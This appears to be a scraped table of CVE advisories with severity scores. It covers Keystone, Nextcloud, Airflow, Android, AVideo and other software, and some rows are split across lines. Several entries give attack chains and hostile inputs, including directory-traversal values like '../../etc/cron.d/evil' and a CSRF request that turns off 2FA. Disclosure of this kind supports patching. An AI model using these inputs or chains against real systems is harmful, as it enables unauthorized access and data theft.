CVE-2026-42998	An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone application credential authentication plugin does not verify that the user supplied in the authentication request matches the owner of the application credential. An attacker can authenticate with their own application credential ID and secret while specifying a different user's name and domain in the request body. Keystone issues a token attributed to the victim user. The impersonated token is project-scoped and carries the intersection of the application credential's roles and the victim's actual roles on the project. This enables audit evasion, reading the victim's credentials, and acting as the victim within shared projects.	6.0	More Details
CVE-	An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone RBAC policy enforcer in enforce_call unconditionally merges the raw JSON request body into the policy enforcement dictionary via policy_dict.update(json_input.copy()), overwriting trusted target data that was previously set from database		

2026-42999	lookups. Because flask.request.get_json is called with force=True, this works regardless of Content-Type or HTTP method. Any authenticated user can inject arbitrary policy target attributes (e.g., user_id, project_id) into the request body to bypass RBAC checks and perform unauthorized operations on resources belonging to other users or projects. This was introduced in commit 5ea59f52 (Rocky/14.0.0).	6.0	More Details
CVE-2026-43000	An issue was discovered in OpenStack Keystone before 29.0.2. When combined with an application credential impersonation vulnerability, an attacker with the member role on a project can escalate to admin by chaining unrestricted application credentials with Keystone trusts. The impersonated token carries the victim's identity, which passes the trustor validation check. Keystone then validates the delegated roles against the victim's actual role assignments in the database, not the roles on the requesting token. This allows the attacker to create a trust delegating the victim's admin role to themselves. The trust persists independently, and additional trusts and application credentials can be created to maintain access. All actions are logged under the victim's identity.	6.0	More Details
CVE-2026-44394	An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone federated token rescoping mechanism does not propagate the original token's expiry to the newly issued token. When a federated user rescopes a token via POST /v3/auth/tokens, the handle_scoped_token() function in the mapped authentication plugin returns response data without an expires_at value. The token provider falls back to issuing a token with a fresh default TTL. By rescoping repeatedly before each token expires, a user can maintain access indefinitely, bypassing operator-configured token lifetime policies. This is a variant of CVE-2012-3426. Only deployments using federated identity (SAML2, OpenID Connect) are affected.	6.0	More Details
CVE-2026-45690	Nextcloud is an open source content collaboration platform. In Nextcloud Server from versions 32.0.0 to before 32.0.9, and 33.0.0 to before 33.0.3, an authentication bypass vulnerability allowed attackers with knowledge of a user's password to circumvent two-factor authentication (2FA) protections. When a user initiated login with valid credentials on a 2FA-enabled account, the system created a temporary session token before enforcing the second factor challenge. This token could be extracted and replayed via HTTP Basic Authentication to gain unauthorized access to authenticated endpoints. It is recommended that the Nextcloud Server is upgraded to 33.0.3 or 32.0.9. It is recommended that the Nextcloud Enterprise Server is upgraded to 33.0.3, 32.0.9, 31.0.14.5, 30.0.17.9 or 29.0.16.16	5.9	More Details
CVE-2025-26418	In setUserDisclaimerAcknowledged of CarDevicePolicyService.java, there is a possible way to bypass the user dialog when adding an account to a managed device due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	5.9	More Details
CVE-2026-0077	In resumeConfigurationDispatch of ActivityRecord.java, there is a possible background application launch (bal) due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	5.9	More Details
CVE-2025-22426	In many functions of ComputerEngine.java, there is a possible way to access URIs across users due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	5.9	More Details
CVE-2026-47741	Shopper is a Headless e-commerce Admin Panel. Prior to 2.8.0, CreateOrderFromCartAction::execute previously created the Order row before checking and incrementing the discount's total_use counter. Under concurrent checkout pressure (Black Friday, flash sale, viral coupon), the global usage_limit was silently exceeded: orders were committed with the discount fully applied to price_amount while the counter blocked at usage_limit. The merchant had no signal that an over-redemption had occurred. This vulnerability is fixed in 2.8.0.	5.9	More Details
CVE-2026-41017	Apache Airflow's `JWTRefreshMiddleware` set the JWT auth cookie without the `Secure` flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	5.9	More Details
CVE-2026-43625	CodexBar prior to 0.32.0 contains a session cookie leakage vulnerability that allows network attackers to intercept imported browser session cookies by exploiting improper redirect handling for Amp and Ollama provider sessions. Attackers can position themselves on the network path to receive cleartext HTTP requests carrying imported session cookies when a provider-controlled redirect target issues a redirect to a cleartext HTTP endpoint within the same provider domain.	5.9	More Details
CVE-2026-0061	In multiple functions of WindowState.java, there is a possible way to trick a user into accepting a permission due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	5.9	More Details
CVE-	In multiple functions, there is a possible way to access the contacts database due to a SQL injection. This		

2026-0075	could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	5.9	More Details
CVE-2026-49270	Exposure of Sensitive Information Through Metadata vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All. Brokers that are configured with a network connector with syncDurableSubs set to true, are vulnerable to an unauthenticated attacker who can receive a list of all durable topic subscriptions in the broker, including client identifiers, subscription names, topic destinations, and JMS selector expressions, by sending a BrokerInfo command. The broker incorrectly responds without first ensuring the connection is authenticated. This issue affects Apache ActiveMQ Broker: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ All: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version 6.2.6 or 5.19.7, which fixes the issue.	5.9	More Details
CVE-2026-49267	Apache Airflow's EmailOperator and the underlying `airflow.utils.email` helpers established SMTP STARTTLS connections without verifying the remote certificate when the deployment used `[email] smtp_starttls=True` without `[email] smtp_ssl`. An attacker positioned between the worker and the configured SMTP server (network MITM — typical hostile-network attack-surface for environments where the SMTP relay sits outside the worker's trust boundary) could present a self-signed certificate, have the worker complete the STARTTLS handshake silently, and capture the SMTP AUTH credentials and message contents the worker forwarded. This CVE covers the **core apache-airflow side** of the same root cause already covered for the SMTP provider by `CVE-2026-41016` (published 2026-04-27, covering `apache-airflow-providers-smtp`). Users who already applied the SMTP-provider fix from CVE-2026-41016 should additionally upgrade `apache-airflow` to 3.2.2 or later to cover the core-side path through `airflow.utils.email`. Affects deployments configured with `smtp_starttls=True` and `smtp_ssl=False` where the SMTP relay is reachable across a less-trusted network segment than the worker. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	5.9	More Details
CVE-2026-45691	Nextcloud is an open source content collaboration platform. In Nextcloud Server from versions 32.0.0 to before 32.0.9, and 33.0.0 to before 33.0.3, a pre-2FA session cookie (created after successful password authentication but before TOTP completion) could be reused as a Bearer token to authenticate against DAV endpoints, granting read/write access and bypassing mandatory two-factor authentication. It is recommended that the Nextcloud Server is upgraded to 33.0.3 or 32.0.9. It is recommended that the Nextcloud Enterprise Server is upgraded to 33.0.3, 32.0.9, 31.0.14.5, 30.0.17.9 or 29.0.16.16	5.9	More Details
CVE-2026-8606	A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to cause the server to issue HTTP requests to internal services via the security advisories package lookup feature. By directing requests to an internal management service and measuring response timing, an attacker could infer the values of sensitive environment variables, including signing secrets and private keys. Exploitation required GitHub Packages to be enabled; on instances not running in private mode the vulnerability was exploitable without authentication, otherwise any authenticated user could exploit it. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21.1 and was fixed in versions 3.20.3, 3.19.7, 3.18.10, 3.17.16, and 3.16.19. This vulnerability was reported via the GitHub Bug Bounty program.	5.9	More Details
CVE-2024-40684	IBM Operations Analytics - Log Analysis 1.3.5.0, 1.3.5.1, 1.3.5.2, 1.3.5.3, 1.3.6.0, 1.3.6.1, 1.3.7.0, 1.3.7.1, 1.3.7.2, and 1.3.8.0, 1.3.8.1, 1.3.8.2, 1.3.8.3, 1.3.8.4 IBM SmartCloud Analytics - Log Analysis does not require that users should have strong passwords by default, which makes it easier for attackers to compromise user accounts.	5.9	More Details
CVE-2025-10466	Improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in Safe Access in Synology Safe Access before 1.3.1-0329 allows remote authenticated users with administrator privileges to read or write specific files containing non-sensitive information or conduct limited denial-of-service in SRM.	5.9	More Details
CVE-2026-46538	Microsoft UFO open-source framework for intelligent automation across devices and platforms. In 3.0.1-4-ge2626659, Microsoft UFO's constellation client tracks pending task responses by session_id only and does not verify that a TASK_END message came from the device that originally received the task. When the constellation sends a task to a target device, it records a pending Future under a session key. The pending task record stores the expected device ID, but the completion path ignores that binding. If another authenticated peer device sends a forged TASK_END with the same session_id, the constellation accepts the response and completes the victim device's pending Future with attacker-controlled result data. This is an authenticated cross-device task-result injection issue.	5.9	More Details
CVE-2026-45027	WeGIA is a web manager for charitable institutions. In versions prior to 3.7.3, when a user logs in, html/login.php hashes the submitted password using PHP's hash() function with the SHA-256 algorithm and no salt before comparing it to the stored value. The password change flow in controle/FuncionarioControle.php follows the same pattern. SHA-256 is a general-purpose cryptographic hash built for speed, not password storage. Without a salt, identical passwords produce identical digests, making the entire hash database vulnerable to a single precomputed rainbow table lookup. This vulnerability is fixed in 3.7.3.	5.9	More Details
	A flaw was found in Keycloak. When a JSON Web Encryption (JWE) encrypted request object is submitted, Keycloak may incorrectly process unsigned claims if the decrypted content is raw JSON, bypassing the		

CVE-2026-9793	configured signature policy. This allows a remote attacker to submit unauthorized claims, leading to a compromise of data integrity within the OpenID Connect (OIDC) authorization flow. While a redirect URI allowlist acts as a compensating control, this vulnerability violates OIDC Core and Financial-grade API (FAPI) signing requirements.	5.9	More Details
CVE-2026-41009	When the director sends a long-running request (e.g. compile_package), the agent's reply JSON is consumed by AgentClient. inject_compile_log (line 332-339) reads response['value']['result']['compile_log_id'] and format_exception (line 318-325) reads exception['blobstore_id']; both pass the agent-supplied string unmodified to download_and_delete_blob(blob_id) (line 344-349), which calls @resource_manager.get_resource(blob_id) and, in an ensure block, @resource_manager.delete_resource(blob_id). Api::ResourceManager forwards the id straight to blobstore.get(id) / blobstore.delete(id). When the director is configured with the local blobstore provider, Blobstore::LocalClient#object_file_path(oid) is File.join(@blobstore_path, oid) (local_client.rb:54-56) with no normalisation, so oid = "../../jobs/director/config/director.yml" resolves outside the blobstore root. Affected versions: BOSH Director: All versions prior to v282.1.12	5.8	More Details
CVE-2026-49129	Music Player Daemon (MPD) before version 0.24.11 contains a server-side request forgery vulnerability in CurlInputPlugin where CURLOPT_FOLLOWLOCATION is set without CURLOPT_REDIR_PROTOCOLS_STR, allowing unauthenticated attackers to bypass the http/https scheme restriction by causing a malicious HTTP server to redirect to non-HTTP protocols such as gopher, ftp, sftp, ldap, dict, rtmp, or rtsp. Attackers can trigger this vulnerability via MPD commands that initiate URL fetches, including add, readcomments, albumart, readpicture, or load, to interact with internal or restricted network services on systems running libcurl versions prior to 7.85.0.	5.8	More Details
CVE-2026-10517	A flaw was found in Clair. The fetcher component makes outbound HTTP requests to attacker-supplied URIs from manifest layer descriptors without IP or scheme filtering. When PSK authentication is not configured (opt-in, not enforced by default), an unauthenticated attacker can submit a manifest with a URI pointing to internal services or cloud metadata endpoints. The SSRF is reflective for non-200 responses, leaking up to 256 bytes of error body content via CheckResponse error messages. Operator-managed Red Hat Quay deployments auto-configure PSK and are not exposed to the unauthenticated attack vector.	5.8	More Details
CVE-2026-48187	An uncontrolled allocation of resources without limits or throttling in the e-mail handling in OTRS allows excessive allocation which may lead to the abortion of the webserver.This issue affects OTRS: * 8.0.X * 2023.X * 2024.X * 2025.X * 2026.X before 2026.4.X Please note that ((OTRS)) Community Edition 6.x, OTRS 7.x and products based on the ((OTRS)) Community Edition also very likely to be affected	5.7	More Details
CVE-2026-45610	WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a cross-site request forgery vulnerability on the 2FA toggle. plugin/LoginControl/set.json.php accepts POST type=set2FA value=false, calls LoginControl::setUser2FA(User::getId(), false) on the session-authenticated user, and returns. There is no forbidIfIsUntrustedRequest() call, no isTokenValid() check, no X-CSRF-Token/SameSite enforcement, and no re-authentication step. A cross-origin page that the victim visits while logged into the AVideo dashboard issues the POST via a hidden form (or fetch without credentials:"omit") and disables the victim's 2FA in one request.	5.7	More Details
CVE-2026-48066	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.1, src/log.c contains a process-wide static pointer that is written on every PAM invocation with the address of a stack-local variable. This violates the PAM re-entrancy requirement and creates a data race when the PAM stack is invoked concurrently from multiple threads. This vulnerability is fixed in 0.9.1.	5.7	More Details
CVE-2026-48999	Attackers carefully craft malicious scripts, such as JavaScript, and inject them into target systems; when other users access pages containing such malicious content, the scripts are automatically loaded and executed in the victim's browser.Attackers can thereby steal user cookies, hijack session privileges, and tamper with page content.Since the malicious code is stored within the system, the attack scope is broad and the concealment is strong, making it frequently employed for data theft attacks.	5.7	More Details
CVE-2026-48210	An improper default configuration in OTRS 2026.3.1 causes ticket article forwarding actions to enforce the “Is visible for customer” flag by default and prevent users from disabling it via the UI. This leads to unintended exposure of internal ticket information to the External Frontend This issue affects OTRS 2026.3.1	5.7	More Details
CVE-2026-40425	The administrator account for the Danelec MacGregor Voyage Data Recorder web interface can directly edit sensitive files related to authentication, potentially changing the root password.	5.7	More Details
CVE-2026-40989	Under infinite recursion in the routing layer, request-handling can cause OOM error. Affected Spring Products and Versions: Spring Cloud Function 3.2.x: versions prior to 3.2.16 Spring Cloud Function 4.1.x: versions prior to 4.1.10 Spring Cloud Function 4.2.x: versions prior to 4.2.6 Spring Cloud Function 4.3.x: versions prior to 4.3.3 Spring Cloud Function 5.0.x: versions prior to 5.0.2 Older, unsupported versions are also affected.	5.7	More Details
CVE-2026-	OOM error is possible while attempting to add infinite amount of functions to Function Registry. Affected Spring Products and Versions: Spring Cloud Function 3.2.x: versions prior to 3.2.16 Spring Cloud Function 4.1.x: versions prior to 4.1.10 Spring Cloud Function 4.2.x: versions prior to 4.2.6 Spring Cloud Function 4.3.x:	5.7	More Details

40990	versions prior to 4.3.3 Spring Cloud Function 5.0.x: versions prior to 5.0.2 Older, unsupported versions are also affected.		
CVE-2026-48189	An improper Input Validation vulnerability in OTRS Customer Backend module allows to access customer information which are restricted to other groups. Please note that the feature has to be anabled and CustomerGroupSupport has to be used to be affected. This issue affects OTRS: * 7.0.X * 8.0.X * 2023.X * 2024.X * 2025.X * 2026.X before 2026.4.X	5.7	More Details
CVE-2026-10222	A security flaw has been discovered in NousResearch hermes-agent up to 2026.4.30. Affected by this issue is the function _sanitize_env_lines of the file hermes_cli/config.py. The manipulation results in injection. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitation is known to be difficult. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	5.6	More Details
CVE-2026-0085	In applySimpleFieldMaxSize of DataRowHandler.java, there is a possible way to insert a large contact name due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2026-47326	Ubuntu Linux 6.8, 6.17 and 7.0 contain SAUCE patches with a memory leak in the handling of big responses to AppArmor notifications. The bug can be triggered by an unprivileged local user. The memory leak could lead to resource exhaustion.	5.5	More Details
CVE-2026-40830	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the admin.mbnetj.php files UpdateParam function due to improper neutralization of special elements in a SQL UPDATE command allowing for reading the whole database and changing values in a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	5.5	More Details
CVE-2026-40829	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the view.html.php files UpdateParam function due to improper neutralization of special elements in a SQL UPDATE command allowing for reading the whole database and changing values in a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	5.5	More Details
CVE-2026-45046	Gryph provides a security layer for AI coding agents. Prior to 0.7.0, Gryph implements logging levels that determine what content is logged to a local sqlite database. The README incorrectly mentions that the default log level is minimal while it is standard. Source code review shows sensitive file-write content remains in the stored payload as ContentPreview, OldString, or NewString at the default standard logging level and at full. This leads to logging of potentially sensitive file content in the local sqlite database, violating Gryphs sensitive file filter and log level contracts. This vulnerability is fixed in 0.7.0.	5.5	More Details
CVE-2026-40828	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the DeleteSysLogEntry function due to improper neutralization of special elements in a SQL DELETE command allowing for reading the whole database and deleting entries in a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	5.5	More Details
CVE-2026-40823	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the DevSerialReset function due to improper neutralization of special elements in a SQL UPDATE command allowing for reading the whole database and changing values in a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	5.5	More Details
CVE-2026-48155	pypdf is a free and open-source pure-python PDF library. Prior to 6.12.0, an attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting text in layout mode with large character offsets. This vulnerability is fixed in 6.12.0.	5.5	More Details
CVE-2026-40827	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the _RemoveRequest function due to improper neutralization of special elements in a SQL DELETE command allowing for reading the whole database and deleting entries in a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	5.5	More Details
CVE-2026-40824	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the accountstatus view userid parameter due to improper neutralization of special elements in a SQL UPDATE command allowing for reading the whole database and changing values in a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	5.5	More Details
CVE-2026-40825	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the accountstatus view devices parameter due to improper neutralization of special elements in a SQL UPDATE command allowing for reading the whole database and changing values in a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	5.5	More Details
CVE-2026-9759	ROHC protocol dissector crash in Wireshark 4.6.0 to 4.6.5 and 4.4.0 to 4.4.15 allows denial of service	5.5	More Details
CVE-	In multiple functions of DevicePolicyManagerService.java, there is a possible desync from persistence due to		

2026-28578	improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2025-59609	Information Disclosure when processing advertisement frames with malformed MBSSID elements of insufficient length.	5.5	More Details
CVE-2026-0074	In getPreferredSize of LauncherProcessImageListener.kt, there is a possible denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2026-48735	pypdf is a free and open-source pure-python PDF library. Prior to 6.12.1, an attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing large XMP metadata, possibly with lots of unnecessary elements. This vulnerability is fixed in 6.12.1.	5.5	More Details
CVE-2026-0079	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible persistent denial of service due to an integer overflow. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2026-47332	Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which incorrectly validate the size of an internal structure, leading to an out-of-bounds read in notification handling code. The bug can be triggered by an unprivileged local user and can result in information disclosure from adjacent slab objects.	5.5	More Details
CVE-2026-20456	In wlan STA driver, there is a possible system crash due to a missing bounds check. This could lead to local denial of service with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00480851; Issue ID: MSV-6338.	5.5	More Details
CVE-2026-6053	IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 is vulnerable to a denial of service when a specially crafted query is run with range partitioned tables.	5.5	More Details
CVE-2026-0018	In multiple functions of AccessibilityManagerService.java, there is a possible persistent denial of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2026-0042	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible persistent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2026-0043	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible persistent denial of service due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2025-60486	A heap use-after-free in the dasher_process function (/filters/dasher.c) of GPAC Project/MP4Box before 26.02.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted MPEG-2 file.	5.5	More Details
CVE-2026-44885	Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33.8, Portainer's backup restore feature accepts a .tar.gz archive and extracts it to a target directory on the server. The extraction function (ExtractTarGz in api/archive/targz.go) constructed output paths using filepath.Clean(filepath.Join(outputDirPath, header.Name)). This combination does not prevent directory traversal — a tar entry named ../../etc/cron.d/evil resolves to a path outside the extraction root, so a crafted archive can write files to arbitrary locations on the server filesystem. This vulnerability is fixed in 2.33.8.	5.5	More Details
CVE-2025-60485	A segmentation violation in the gf_isom_apple_set_tag_ex function (/isomedia/isom_write.c) of GPAC Project/MP4Box before 26.02.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted MP4 file.	5.5	More Details
CVE-2026-48927	Jenkins buildgraph-view Plugin 1.8 and earlier does not escape the build URL, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to configure jobs or views.	5.5	More Details
CVE-2025-60483	A NULL pointer dereference in the gf_ac4_pres_b_4_back_channels_present function (/media_tools/av_parsers.c) of GPAC Project/MP4Box before 26.02.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted AC4 file.	5.5	More Details
CVE-2026-47334	Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which incorrectly sleep while holding a spinlock in notification handling code. The bug can be triggered by an unprivileged local user and can result in kernel panic or deadlock.	5.5	More Details
CVE-2025-	In isSameApp of NotificationManagerService.java, there is a possible persistent dos due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User	5.5	More

48648	interaction is not needed for exploitation.		Details
CVE-2025-15649	IO::Uncompress::Unzip versions before 2.215 for Perl propagate uncaught exception when parsing zip header with malformed DOS date. _dosToUnixTime() decodes the local-file-header last-modification date field and calls Time::Local::timelocal() without an eval guard. A header whose date field decodes to an out-of-range month, day, or hour causes timelocal() to die. The exception propagates out of IO::Uncompress::Unzip->new($file) where callers expect undef plus $UnzipError.	5.5	More Details
CVE-2025-60481	A NULL pointer dereference in the gf_odf_ac4_cfg_dsi_v1 function (/odf/descriptors.c) of GPAC Project/MP4Box before 26.02.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted AC4 file.	5.5	More Details
CVE-2025-55664	A heap buffer overflow in the m2tsdmx_send_packet function (filters/dmx_m2ts.c) of GPAC MP4Box v2.4 allows attackers to cause a Denial of Service (DoS) via supplying a crafted MP4 file.	5.5	More Details
CVE-2026-0060	In updateState of GraphicsDriverEnableAngleAsSystemDriverController.java, there is a possible persistent dos issue due to an unusual root cause. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2026-0067	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a permanent denial of service due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2026-6051	IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 is vulnerable to a denial of service when executing a specially crafted query with a small statement heap.	5.5	More Details
CVE-2026-0069	In verifySignature of ApkChecksums.java, there is a possible way to cause a crash due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2026-0070	In multiple functions of DevicePolicyManagerService.java, there is a possible way to hide a system critical package due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	5.5	More Details
CVE-2025-68712	SpSoft AppLock (com.sp.protector.free) 7.9.40 for Android allows a local attacker with physical access to bypass fingerprint or PIN authentication. Although the app integrates Android's biometric mechanisms, the lock is implemented with a custom overlay that fails to consistently enforce authentication. By navigating cascading interface flows - insecure navigation through exposed routes facilitates app control evasion {I.N.T.E.R.F.A.C.E] via advertisement or browser intents - an attacker can exit the lock interface without re-authentication and access protected apps (e.g., Chrome). This results in information disclosure and privilege escalation.	5.5	More Details
CVE-2026-5515	IBM App Connect Enterprise 13.0.1.0 through 13.0.7.0 stores potentially sensitive information in log files that could be read by a local user.	5.5	More Details
CVE-2026-47335	Ubuntu Linux 6.8 contains SAUCE patches with a possible NULL pointer dereference in the handling of AppArmor notifications. The bug can be triggered by an unprivileged local user. This can lead to a kernel panic.	5.5	More Details
CVE-2025-60495	A segmentation violation in the gf_media_get_color_info function (/media_tools/isom_tools.c) of GPAC Project/MP4Box before 26.02.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted data file.	5.5	More Details
CVE-2026-48523	PyJWT is a JSON Web Token implementation in Python. From 2.9.0 to 2.12.1, there is a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow. This vulnerability is fixed in 2.13.0.	5.4	More Details
CVE-2026-48559	Lightweight Music Server (LMS) though 3.76.0 contains a stored cross-site scripting vulnerability that allows attackers to execute arbitrary JavaScript by embedding malicious HTML in media file metadata tags such as GENRE, ARTIST, or ALBUM. Attackers can introduce a crafted media file into the victim's library, causing the payload to be saved during library scanning and executed automatically in the web interface due to tag content being rendered using Wt::TextFormat::UnsafeXHTML without sanitization in src/lms/ui/Utils.cpp.	5.4	More Details
	A stored Cross-Site Scripting (XSS) vulnerability exists in the project selector component of Mautic 7. When rendering selection menus for associating projects with system entities, the application fails to sanitize project names returned via AJAX before injecting them into the DOM as option fields. An authenticated user		

CVE-2026-9811	with permissions to create projects can exploit this to store a malicious script payload in the project's name. When another administrative user subsequently opens an entity editor containing the project selector, the injected script executes within the context of their active browser session. This could allow an attacker to hijack the session, perform unauthorized state coordination, or access organizational data within the dashboard.	5.4	More Details
CVE-2026-10284	A flaw has been found in DevaslanPHP project-management up to 2.0.0-beta1. Affected by this vulnerability is the function editComment/doDeleteComment of the file app/Filament/Resources/TicketResource/Pages/ViewTicket.php of the component Livewire Handler. Executing a manipulation can lead to improper authorization. The attack can be executed remotely. The project was informed of the problem early through an issue report but has not responded yet.	5.4	More Details
CVE-2026-10218	A vulnerability has been found in nextlevelbuilder GoClaw up to 3.11.3. This affects the function auth of the file internal/http/evolution_handlers.go. Such manipulation leads to improper authorization. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The project tagged the reported issue as bug.	5.4	More Details
CVE-2018-25384	Wikidforum 2.20 contains a cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts by submitting crafted HTML in the reply_text parameter. Attackers can post comments containing JavaScript code through the rpc.php endpoint that executes in other users' browsers when viewing forum replies.	5.4	More Details
CVE-2026-9971	Inappropriate implementation in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: High)	5.4	More Details
CVE-2026-47694	WWBN AVideo is an open source video platform. In 29.0 and earlier, AVideo stores category descriptions from user input and later renders category_description as raw HTML in the Gallery view. A user who can create or edit categories can store JavaScript in a category description, which executes when another user views the affected Gallery/category page. This is a stored XSS in the category description field, separate from previously fixed XSS issues in video titles or comments.	5.4	More Details
CVE-2025-13167	Improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in contact functionality in Synology Contacts before 1.0.10-20659 allows remote authenticated users to read or write specific files containing non-sensitive information via unspecified vectors.	5.4	More Details
CVE-2026-9309	Firefox for iOS Reader View did not properly escape HTML tags in JSON-LD metadata. A malicious page could inject markup that changed Reader View behavior and leaked sensitive URL parameters. These parameters could then be used to access internal pages, potentially resulting in arbitrary JavaScript execution in an internal origin. This vulnerability was fixed in Firefox for iOS 151.2.	5.4	More Details
CVE-2026-45580	WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a stored cross-site scripting vulnerability. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.	5.4	More Details
CVE-2026-9308	Firefox for iOS Reader View replaced page content in its HTML template before replacing other internal placeholders. A malicious page could include a placeholder string that was later substituted with JSON-LD data, potentially resulting in arbitrary JavaScript execution. This vulnerability was fixed in Firefox for iOS 151.2.	5.4	More Details
CVE-2025-3633	IBM Cognos Analytics 11.2.0, 11.2.4, 12.0, and 12.1.0 and IBM Cognos Transformer 11.2.4, 12.0, and 12.1.0 are vulnerable to cross-site scripting (XSS). This vulnerability allows a remote attacker to inject arbitrary JavaScript code into the web user interface, which may alter the intended functionality and could lead to the disclosure of credentials within a trusted session.	5.4	More Details
CVE-2026-10285	A vulnerability has been found in DevaslanPHP project-management up to 2.0.0-beta1. Affected by this issue is the function KanbanScrumHelper::recordUpdated of the file app/Helpers/KanbanScrumHelper.php of the component Ticket Handler. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The project was informed of the problem early through an issue report but has not responded yet.	5.4	More Details
